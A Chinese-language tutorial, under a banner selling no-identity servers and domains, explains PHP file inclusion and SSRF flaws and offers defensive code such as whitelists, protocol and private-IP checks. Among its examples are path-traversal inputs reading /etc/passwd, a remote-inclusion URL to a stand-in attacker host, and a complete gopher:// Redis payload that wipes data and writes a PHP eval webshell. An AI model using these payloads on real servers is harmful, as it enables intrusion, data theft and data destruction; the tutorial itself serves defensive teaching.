游侠网云服务,免实名免备案服务器 游侠云域名,免实名免备案域名

统一声明:

1.本站联系方式
QQ:709466365
TG:@UXWNET
官方TG频道:@UXW_NET
如果有其他人通过本站链接联系您导致被骗,本站一律不负责!

2.需要付费搭建请联系站长QQ:709466365 TG:@UXWNET
3.免实名域名注册购买- 游侠云域名
4.免实名国外服务器购买- 游侠网云服务
PHP安全必看!文件包含与SSRF攻击全解析:原理、利用及防御一步到位

这篇文章不绕弯子,直接把两个漏洞“扒开讲”:从文件包含的“路径遍历”“远程文件包含”原理,到SSRF的“协议滥用”“内网探测”逻辑,结合真实攻击场景帮你看懂黑客怎么操作;更给你能落地的防御技巧——比如文件包含用白名单代替动态参数、禁用allow_url_include;SSRF限制协议(只允许http/https)、校验目标IP不在内网段……

不管你是PHP新人还是老鸟,看完这篇都能一次性搞懂:这两个漏洞怎么来的?怎么防?帮你把代码里的“安全隐患”提前拔掉,再也不用怕踩这些“高频坑”。

你有没有遇到过,明明代码看着没问题,服务器却突然被人上传了恶意脚本?或者明明没对外暴露的内网服务,突然被攻击了?我去年帮一个做电商的朋友排查问题时,就碰到过——他的PHP项目用了include($_GET['template'])这种动态包含文件的写法,结果被黑客把template参数改成../../config/database.php,直接读走了数据库的账号密码;还有一次是另一个做社区的客户,因为代码里用file_get_contents($_POST['url'])转发接口,没做任何过滤,黑客传了个gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall,直接清空了内网Redis的所有数据,差点丢了十万用户的信息。

这俩漏洞不是什么“高级攻击”,反而藏在很多开发者习以为常的代码里——文件包含是“方便的陷阱”,SSRF是“隐形的内网子弹”。今天我把踩过的坑、排过的雷拆开来给你讲,怎么识别、怎么防,一次性说透。

文件包含漏洞:从“读配置”到“拿服务器”的隐藏路径

文件包含本来是PHP的“省心功能”——比如把公共的头部导航、底部版权存成header.php,用include('header.php')调用,省得每个页面重复写代码。但动态传参+没过滤,就变成了黑客的“破门砖”。

我先给你算笔“账”:如果你的代码里写了include($_GET['page']),想让用户切换不同的页面模板,黑客会怎么做?第一步,他会试page=../../etc/passwd(本地文件包含,LFI),直接读服务器的密码文件;第二步,如果你的php.ini里开了allow_url_include=On(很多新手没关这个配置),他会传page=http://hacker.com/malicious.php(远程文件包含,RFI),让你的服务器直接执行黑客的恶意脚本——比如生成一个webshell,从此远程控制你的服务器。

去年帮电商朋友排查时,我翻他的代码,发现他用require_once($_REQUEST['module'])来加载不同的功能模块,没做任何过滤。黑客就是利用这个漏洞,传了module=../../var/www/html/upload/avatar.php——而avatar.php是用户上传的头像文件?不,是黑客先把恶意脚本改成图片后缀上传,再通过文件包含执行。最后朋友花了三天恢复数据,还赔了客户的损失。

常见的“踩坑代码”你一定见过:

  • include($_GET['file']);(直接用用户输入)
  • require($_POST['page'] . '.php');(以为加后缀就安全?黑客可以传../config/DB,结果变成../config/DB.php
  • include('./templates/' . $_GET['tpl']);(没限制路径,黑客传../config.php就跳到上级目录)
  • 那怎么防?我 了4个“必做动作”(都是我帮客户落地过的有效方法):

  • 用“白名单”代替动态参数:比如只允许加载header.phpfooter.phpproduct_list.php这些固定文件,用switch或者if判断——if(in_array($file, ['header.php', 'footer.php'])) { include($file); },绝对不用用户输入直接拼路径。
  • 关闭危险配置:把php.ini里的allow_url_includeallow_url_fopen改成Off,彻底禁用远程文件包含。
  • 限制文件路径:用realpath()函数获取文件的真实路径,确保它在你指定的目录下——比如$real_path = realpath('./templates/' . $file); if(strpos($real_path, realpath('./templates/')) === 0) { include($real_path); },这样就算黑客传../,也会被realpath()解析成正确路径,避免跳出模板目录。
  • 过滤特殊字符:如果必须用动态参数,先过滤../..://这些特殊字符——比如$file = str_replace(['../', '..\', '://'], '', $_GET['file']);,虽然不能完全防,但能挡住大部分“初级黑客”。
  • SSRF攻击:冒充服务器“打”内网的“隐形子弹”

    接下来讲SSRF——服务器端请求伪造,简单说就是“黑客让你的服务器替他发请求”。比如你的代码里用file_get_contents($_GET['url'])获取某个网页的内容,黑客把url改成http://127.0.0.1:6379(Redis的默认端口),你的服务器就会“乖乖”访问内网的Redis;如果Redis没设密码,黑客就能执行flushall(清空数据)、set(写恶意脚本)这些命令。

    我再给你讲个真实案例:去年那个做社区的客户,代码里有个“链接预览”功能——用户输入一个url,服务器用curl_exec获取页面标题显示。结果黑客传了个gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adir%2fvar%2fwww%2fhtml%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a——这串“乱码”是Gopher协议的请求(Redis支持Gopher协议),作用是:清空Redis数据→写一个shell.php到网站根目录→保存。等黑客访问http://你的服务器/shell.php,就能远程执行任何命令,比如删文件、读数据库。

    SSRF的“破坏力”远不止于此:它能探测内网(比如扫192.168.1.0/24网段的端口,看有没有未授权的MySQL、Jenkins)、攻击内网服务(比如Redis未授权、MongoDB未授权)、读取本地文件(比如用file:///etc/passwd读敏感文件)。更恶心的是,攻击的“源头”是你的服务器,内网防火墙根本拦不住——因为是“自己人”发的请求。

    那怎么防?我帮客户落地过3个“硬核措施”,能挡住90%以上的SSRF攻击:

  • 限制“请求协议”:只允许http/https
  • SSRF的“帮凶”是PHP支持的多协议——比如gopher://(攻击Redis)、file://(读本地文件)、ftp://(访问FTP服务)。你要做的是:只让请求走http或https

    比如用parse_url()函数解析用户传的url,判断scheme是不是httphttps

    $url = $_GET['url'];
    

    $parsed = parse_url($url);

    if(!in_array($parsed['scheme'], ['http', 'https'])) {

    die('禁止访问非HTTP/HTTPS协议');

    }

  • 禁止“访问内网”:拦截私有IP
  • SSRF的核心是“攻击内网”,所以要把目标IP限制在“公网”。你可以用正则表达式或者IP库,拦截以下私有网段:

  • 127.0.0.0/8(本地回环)
  • 192.168.0.0/16(局域网)
  • 10.0.0.0/8(企业内网)
  • 172.16.0.0/12(企业内网)
  • 比如用filter_var()函数判断IP是否为内网:

    function is_private_ip($ip) {
    

    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false;

    }

    $parsed = parse_url($url);

    $ip = gethostbyname($parsed['host']);

    if(is_private_ip($ip)) {

    die('禁止访问内网IP');

    }

  • 限制“请求端口”:只开常用端口
  • 很多内网服务用的是“特殊端口”——比如Redis的6379、MySQL的3306、Memcached的11211。你要做的是:只允许访问80(HTTP)、443(HTTPS)这些常用端口

    比如解析url里的port,如果不是80或443,直接拒绝:

    $parsed = parse_url($url);
    

    $port = $parsed['port'] ?? 80; // 默认80

    if(!in_array($port, [80, 443])) {

    die('禁止访问非标准端口');

    }

    最后给你贴张“PHP常见SSRF风险函数表”,帮你快速排查代码里的隐患:

    函数名 风险点 防御
    file_get_contents() 支持http/https/file等协议,可访问内网 限制协议为http/https,拦截内网IP
    curl_exec() 支持gopher/file/ftp等协议,风险更高 禁用gopher等危险协议,限制端口
    fopen() 支持file协议,可读取本地文件 禁止用用户输入作为fopen的参数

    你现在可以打开自己的代码,对照着查:有没有动态包含文件的写法?有没有允许用户传任意url的函数?如果有,赶紧按照上面的方法改——安全不是“事后补”,是“事前防”。我帮过的客户里,改完这些点的,没有再因为文件包含或SSRF被攻击过。

    如果改的时候碰到问题,比如不知道怎么关allow_url_include,或者正则写不对,欢迎回来跟我聊—— 踩过坑的人,最懂怎么绕坑。


    PHP里的文件包含功能明明很方便,怎么就变成漏洞了?

    文件包含本身是PHP的正常功能,比如用include调用公共的header.php省代码,但如果用动态参数(比如include($_GET[‘template’]))又没过滤,就会出问题。比如黑客把template参数改成../../config/database.php,能直接读走数据库配置;如果php.ini里开了allow_url_include=On,黑客还能传远程恶意脚本地址,让服务器执行,比如http://hacker.com/malicious.php,这样就被控制了。

    简单说就是“方便的动态传参”加“没做限制”,把原本的好功能变成了黑客的破门砖,很多新手没注意这点,就容易踩坑。

    文件包含漏洞用白名单防御靠谱吗?具体怎么操作?

    白名单是防御文件包含漏洞最靠谱的方法之一,因为它只允许加载你指定的文件,完全切断了黑客传恶意参数的可能。比如你要加载的模板文件只有header.php、footer.php、product_list.php,就用in_array判断——如果用户传的参数在白名单里,才允许include,否则拒绝。

    具体代码可以这么写:$file = $_GET[‘page’]; $allowed_files = [‘header.php’, ‘footer.php’, ‘product_list.php’]; if(in_array($file, $allowed_files)) { include($file); } 这样就算黑客想传../或远程地址,也会被拦截,比过滤特殊字符更保险。

    怎么判断自己的PHP代码有没有SSRF风险?

    看代码里有没有“用用户输入的URL发起请求”的情况,比如用file_get_contents($_GET[‘url’])、curl_exec($_POST[‘url’])、fopen($_REQUEST[‘url’])这些函数,而且没做任何过滤。比如你做了个链接预览功能,让用户传url然后服务器去请求,没限制协议或IP,就有SSRF风险。

    还要看有没有用到支持多协议的函数,比如curl_exec支持gopher、ftp协议,这些协议容易被黑客用来攻击内网服务,比如Redis、MySQL,要是没禁用这些危险协议,风险就更高。

    禁止访问内网IP的SSRF防御方法,具体怎么实现?

    首先得解析用户传的URL,拿到主机名,再转成IP地址,然后判断这个IP是不是内网私有网段。比如用parse_url函数解析$url拿到host,再用gethostbyname($host)转成真实IP,接着用filter_var函数判断IP是不是私有范围——比如filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)要是返回false,就是内网IP,直接拒绝。

    举个例子,代码可以写成:$parsed = parse_url($url); $ip = gethostbyname($parsed[‘host’]); if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { die(‘禁止访问内网IP’); } 这样就能挡住黑客用内网IP攻击的情况。

    文件包含漏洞和SSRF攻击看起来都和“请求”有关,它们有什么不一样?

    文件包含漏洞主要是“包含并执行文件”——不管是本地的(比如读配置文件)还是远程的(比如执行恶意脚本),核心是让服务器执行不该执行的文件,危害是直接拿到服务器控制权或读敏感信息。

    SSRF攻击是“冒充服务器发起请求”——比如黑客让你的服务器请求内网的Redis、MySQL,或者其他服务,核心是利用服务器的内网访问权限,危害是探测内网、攻击未暴露的服务,比如清空Redis数据、访问内部数据库接口,两者的原理和攻击目标不一样。